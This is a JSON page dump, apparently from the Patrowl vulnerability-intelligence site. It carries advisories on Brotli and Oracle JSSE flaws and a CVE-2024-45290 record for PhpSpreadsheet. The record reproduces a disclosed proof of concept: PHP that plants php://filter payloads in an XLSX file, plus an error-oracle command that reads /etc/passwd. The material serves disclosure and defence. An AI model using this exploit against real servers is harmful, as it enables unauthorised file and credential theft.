[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2024-45290":30,"landing-articles":88},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":50,"technologies":54,"references":57,"score":65,"epss_score":66,"epss_percentile":67,"is_kev":68,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":69,"attack_mappings":79,"exploits":86},47227,"CVE-2024-45290","EUVD-2024-2952","PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file\n\n### Summary\n\nIt's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php:\u002F\u002Ffilter` URLs an attacker can leak the contents of any file or URL.\n\nNote that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet\u002Fsecurity\u002Fadvisories\u002FGHSA-w9xv-qf98-ccq4), and resides in a different component.\n\n### Details\n\nWhen an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl\u002Fdrawings\u002F_rels\u002Fdrawing1.xml.rels` file in the XLSX archive:\n\n```php\nif (isset($images[$embedImageKey])) {\n    \u002F\u002F ...omit irrelevant code...\n} else {\n    $linkImageKey = (string) self::getArrayItem(\n        $blip->attributes('http:\u002F\u002Fschemas.openxmlformats.org\u002FofficeDocument\u002F2006\u002Frelationships'),\n        'link'\n    );\n    if (isset($images[$linkImageKey])) {\n        $url = str_replace('xl\u002Fdrawings\u002F', '', $images[$linkImageKey]);\n        $objDrawing->setPath($url);\n    }\n}\n```\n\n`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:\n\n```php\npublic function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static\n{\n    if ($verifyFile && preg_match('~^data:image\u002F[a-z]+;base64,~', $path) !== 1) {\n        \u002F\u002F Check if a URL has been passed. https:\u002F\u002Fstackoverflow.com\u002Fa\u002F2058596\u002F1252979\n        if (filter_var($path, FILTER_VALIDATE_URL)) {\n            $this->path = $path;\n            \u002F\u002F Implicit that it is a URL, rather store info than running check above on value in other places.\n            $this->isUrl = true;\n            $imageContents = file_get_contents($path);\n            \u002F\u002F ... check dimensions etc. ...\n```\n\nIt's important to note here, that `filter_var` considers also `file:\u002F\u002F` and `php:\u002F\u002F` URLs valid.\n\nThe attacker can set the path to anything:\n\n```xml\n\u003CRelationship Id=\"rId1\"\n    Type=\"http:\u002F\u002Fschemas.openxmlformats.org\u002FofficeDocument\u002F2006\u002Frelationships\u002Fimage\"\n    Target=\"this can be whatever\" \u002F>\n```\n\nThe contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an [error oracle](https:\u002F\u002Fwww.synacktiv.com\u002Fen\u002Fpublications\u002Fphp-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https:\u002F\u002Fgithub.com\u002Fsynacktiv\u002Fphp_filter_chains_oracle_exploit\n\n### PoC\n\nTarget file:\n\n```php\n\u003C?php\n\nrequire 'vendor\u002Fautoload.php';\n\n\u002F\u002F Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to\n\u002F\u002F keep the PoC simple, I've combined this into the same file.\n\n$file = \"book_tampered.xlsx\";\n$payload = $_POST[\"payload\"]; \u002F\u002F the payload comes from the Python script\n\ncopy(\"book.xlsx\",$file);\n$zip = new ZipArchive;\n$zip->open($file);\n\n$path = \"xl\u002Fdrawings\u002F_rels\u002Fdrawing1.xml.rels\";\n$content = $zip->getFromName($path);\n$content = str_replace(\"..\u002Fmedia\u002Fimage1.gif\", $payload, $content);\n$zip->addFromString($path, $content);\n\n$path = \"xl\u002Fdrawings\u002Fdrawing1.xml\";\n$content = $zip->getFromName($path);\n$content = str_replace('r:embed=\"rId1\"', 'r:link=\"rId1\"', $content);\n$zip->addFromString($path, $content);\n\n$zip->close();\n\n\u002F\u002F The actual target - note that simply opening the file is sufficient for the attack\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader->load(__DIR__ . '\u002F' . $file);\n\n```\n\nAdd this file in the same directory:\n[book.xlsx](https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet\u002Ffiles\u002F15213296\u002Fbook.xlsx)\n\nServe the PoC from a web server. Ensure your PHP memory limit is \u003C= 128M - otherwise you'll need to edit the Python script below.\n\nDownload the error oracle Python script from here: https:\u002F\u002Fgithub.com\u002Fsynacktiv\u002Fphp_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with `pip`.\n\nThen run the Python script with:\n```\npython3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file \u002Fetc\u002Fpasswd\n```\n\nNote that the attack relies on certain character encodings being supported by the system's `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.\n\nHere's the results I got after about a minute of bruteforcing:\n\n![image](https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet\u002Fassets\u002F1294941\u002F06cbaf62-1001-481f-bbcd-d818a61896c4)\n\n### Impact\n\nAn attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.","2024-10-07T15:57:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":45,"confidentialityImpact":42},"CHANGED","3.1",7.7,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:N\u002FA:N","NONE","LOW",true,[48,49],"CWE-918","CWE-36",[51,52,53],"cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*","cpe:2.3:a:phpoffice:phpexcel:1.8.2:*:*:*:*:*:*:*","cpe:2.3:a:phpoffice:phpexcel:*:*:*:*:*:*:*:*",[55,56],"Phpoffice Phpspreadsheet","Phpoffice Phpexcel",[58,59,60,61,62,63,64],"https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet\u002Fsecurity\u002Fadvisories\u002FGHSA-5gpr-w2p5-6m37","https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet\u002Fsecurity\u002Fadvisories\u002FGHSA-w9xv-qf98-ccq4","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2024-45290","https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet\u002Fcommit\u002Fa9693d1182df6695c14bc5d74315ac71a3398e5a","https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet\u002Fcommit\u002Fd95bc290beb137d4118095b96f62ec47e0205cec","https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet\u002Fcommit\u002Fe04ed222b36fd5fd6fed0c10c765c2b68effb465","https:\u002F\u002Fgithub.com\u002FPHPOffice\u002FPhpSpreadsheet",0.74,0.00625,0.49689,false,{"timestamp":70,"automatable":71,"tech_impact":72,"exploitation":73,"cisa_decision":74,"cisa_remediation_timeline":78},"2024-10-08T18:29:57.129855Z","no","partial","poc",{"vector":75,"decision":76,"priority":77},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T10:40:06.219601\u002F","track_star","medium","60D",[80],{"name":81,"source":82,"tactics":83,"technique_id":85},"Exploit Public-Facing Application","attack_vector",[84],"initial-access","T1190",[87],{"link":58},{"count":89,"next":90,"previous":6,"results":91},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[92,100,108],{"id":93,"title":94,"summary":95,"published_at":96,"type":97,"link":98,"image_url":99},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":101,"title":102,"summary":103,"published_at":104,"type":105,"link":106,"image_url":107},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":109,"title":110,"summary":111,"published_at":112,"type":113,"link":114,"image_url":115},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]